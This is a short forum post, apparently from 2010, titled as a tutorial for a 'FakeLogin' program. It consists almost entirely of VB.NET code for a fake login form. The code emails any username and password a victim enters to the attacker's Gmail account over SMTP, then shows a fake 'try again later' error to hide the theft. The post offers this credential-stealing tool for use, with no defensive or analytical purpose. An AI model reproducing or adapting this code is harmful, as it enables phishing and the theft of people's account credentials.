Posts : 21 Points : 100 Thanks : 0 Join date : 2010-05-24 Age : 39
Subject: FakeLogin TUT Thu Jul 15, 2010 4:58 pm
[CODE]
If TextBox1.Text = "" Then MsgBox("Username Is Missing") If TextBox2.Text = "" Then MsgBox("Password Is Mising") Else End If End If Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("YOur gmail", "You gmail password") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("Your Gmail") mail.To.Add("Your Gmail") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text smtpServer.Send(mail) MsgBox("Probeer later opnieuw!", MsgBoxStyle.Critical, "ERROR!") Best Regards,